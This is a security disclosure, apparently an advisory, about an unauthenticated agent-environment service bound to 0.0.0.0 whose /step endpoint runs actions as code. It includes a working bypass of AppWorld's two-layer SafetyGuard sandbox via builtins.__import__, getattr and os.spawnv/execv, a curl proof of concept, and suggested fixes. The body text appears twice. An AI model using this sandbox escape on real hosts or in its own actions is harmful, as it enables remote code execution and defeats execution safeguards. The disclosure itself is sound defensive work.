Summary
env_service/env_service.py exposes a FastAPI service with three endpoints (/create, /step, /evaluate) that have no authentication at all, and the service binds 0.0.0.0 by default (env_service.py:738, launched at :763). /step forwards the request's action to the AppWorld environment, where it executes as code (env_service/environments/appworld/appworld_env.py:970-984 → self.world.execute(action)).
The only content guard is AppWorld's SafetyGuard (two layers, both default-on). I bypassed both with the real guard code:
- layer 1,
is_syntax_safe (static AST): import builtins\ngetattr(builtins.__import__('os'), 'system')('...') passes (returns safe) — builtins is allowed and __import__/getattr aren't on the disallowed function list;
- layer 2,
safety_guard.enable() (runtime patch): os.system/os.popen/subprocess.Popen are monkeypatched to no-ops — but os.spawnv and os.execv are not patched and not in the static blocklist. Executing getattr(builtins.__import__('os'), 'spawnv')(0, '/bin/sh', ['/bin/sh','-c','echo PWNED > /tmp/canary']) (and the same with os.execv) with both gates fully enabled wrote the canary file (verified in a subprocess with the guard enabled).
So with the default config: any network peer that can reach the port can submit an action that executes code on the training host, unauthenticated.
Details
env_service.py:738 — default="0.0.0.0" (uvicorn host); :763 — uvicorn.run(app, host=args.portal, port=args.port).
POST /create (env_service.py:527-546), POST /step (:571), POST /evaluate (:609) — no auth dependency on any route; a grep for token/verify across the service is empty.
/step → env_service.step → appworld_excute(action) (appworld_env.py:970-984) → AppWorld.execute (appworld 0.1.3.post1 environment.py); AppWorld is constructed with defaults (appworld_env.py:728-731), i.e. raise_on_unsafe_syntax and null_patch_unsafe_execution both on.
- Guard layer 1 (
SafetyGuard.is_syntax_safe): static AST; imports must be in ALLOWED_MODULE_NAMES; os.system etc. on the disallowed path list. builtins is allowed; __import__/getattr are not detected by the import/function-path parsers.
- Guard layer 2 (
safety_guard.enable()): patches os.system, os.popen, subprocess.Popen, etc. to no-ops. os.spawnv/os.execv are not covered.
- Secondary (same unauth surface):
/create accepts params; openworld env reads params['server_configs_path'] as JSON from an arbitrary server path (openworld_env.py:108-114), and MCP config params can carry an arbitrary command (mcp_utils.py:34-43).
How to reproduce
# with the default host (0.0.0.0) — any reachable peer, no credentials:
curl -X POST http://<host>:<port>/step \
-H 'Content-Type: application/json' \
-d '{"instance_id": "<any-id>", "messages": [{"role":"user","content":"import builtins\ngetattr(builtins.__import__(\"os\"), \"spawnv\")(0, \"/bin/sh\", [\"/bin/sh\",\"-c\",\"echo PWNED > /tmp/canary\"])"}]}'
Guard bypass (both layers on), executed directly against SafetyGuard:
import subprocess, textwrap
runner = textwrap.dedent("""
from appworld.common.safety_guard import SafetyGuard
g = SafetyGuard()
g.enable() # runtime layer, AppWorld default
code = sys.stdin.read()
exec(code)
""")
payload = "import builtins\ngetattr(builtins.__import__('os'), 'spawnv')(0, '/bin/sh', ['/bin/sh','-c','echo PWNED > /tmp/canary'])"
subprocess.run([sys.executable, "-c", runner], input=payload, ...) # /tmp/canary written
Impact
Unauthenticated remote code execution on training hosts running the env service with the default binding. The environment executes task-world actions by design; the point is the missing auth + default 0.0.0.0 + the guard being bypassable, which turns the designed (trusted, internal) code-execution endpoint into an unauthenticated one.
Suggested change
- Bind loopback by default (
127.0.0.1) and/or require a token on /create /step /evaluate (the launcher already has config plumbing for this).
- Extend the guard: add
os.spawnv/os.execv/os.spawnl etc. to the static blocklist and to the runtime patch list — or better, run actions in a real sandboxed process rather than in-process patches.
Summary
env_service/env_service.pyexposes a FastAPI service with three endpoints (/create,/step,/evaluate) that have no authentication at all, and the service binds 0.0.0.0 by default (env_service.py:738, launched at:763)./stepforwards the request's action to the AppWorld environment, where it executes as code (env_service/environments/appworld/appworld_env.py:970-984→self.world.execute(action)).The only content guard is AppWorld's
SafetyGuard(two layers, both default-on). I bypassed both with the real guard code:is_syntax_safe(static AST):import builtins\ngetattr(builtins.__import__('os'), 'system')('...')passes (returns safe) —builtinsis allowed and__import__/getattraren't on the disallowed function list;safety_guard.enable()(runtime patch):os.system/os.popen/subprocess.Popenare monkeypatched to no-ops — butos.spawnvandos.execvare not patched and not in the static blocklist. Executinggetattr(builtins.__import__('os'), 'spawnv')(0, '/bin/sh', ['/bin/sh','-c','echo PWNED > /tmp/canary'])(and the same withos.execv) with both gates fully enabled wrote the canary file (verified in a subprocess with the guard enabled).So with the default config: any network peer that can reach the port can submit an action that executes code on the training host, unauthenticated.
Details
env_service.py:738—default="0.0.0.0"(uvicorn host);:763—uvicorn.run(app, host=args.portal, port=args.port).POST /create(env_service.py:527-546),POST /step(:571),POST /evaluate(:609) — no auth dependency on any route; a grep for token/verify across the service is empty./step→env_service.step→appworld_excute(action)(appworld_env.py:970-984) →AppWorld.execute(appworld 0.1.3.post1environment.py);AppWorldis constructed with defaults (appworld_env.py:728-731), i.e.raise_on_unsafe_syntaxandnull_patch_unsafe_executionboth on.SafetyGuard.is_syntax_safe): static AST; imports must be inALLOWED_MODULE_NAMES;os.systemetc. on the disallowed path list.builtinsis allowed;__import__/getattrare not detected by the import/function-path parsers.safety_guard.enable()): patchesos.system,os.popen,subprocess.Popen, etc. to no-ops.os.spawnv/os.execvare not covered./createacceptsparams; openworld env readsparams['server_configs_path']as JSON from an arbitrary server path (openworld_env.py:108-114), and MCP config params can carry an arbitrarycommand(mcp_utils.py:34-43).How to reproduce
Guard bypass (both layers on), executed directly against
SafetyGuard:Impact
Unauthenticated remote code execution on training hosts running the env service with the default binding. The environment executes task-world actions by design; the point is the missing auth + default 0.0.0.0 + the guard being bypassable, which turns the designed (trusted, internal) code-execution endpoint into an unauthenticated one.
Suggested change
127.0.0.1) and/or require a token on/create/step/evaluate(the launcher already has config plumbing for this).os.spawnv/os.execv/os.spawnletc. to the static blocklist and to the runtime patch list — or better, run actions in a real sandboxed process rather than in-process patches.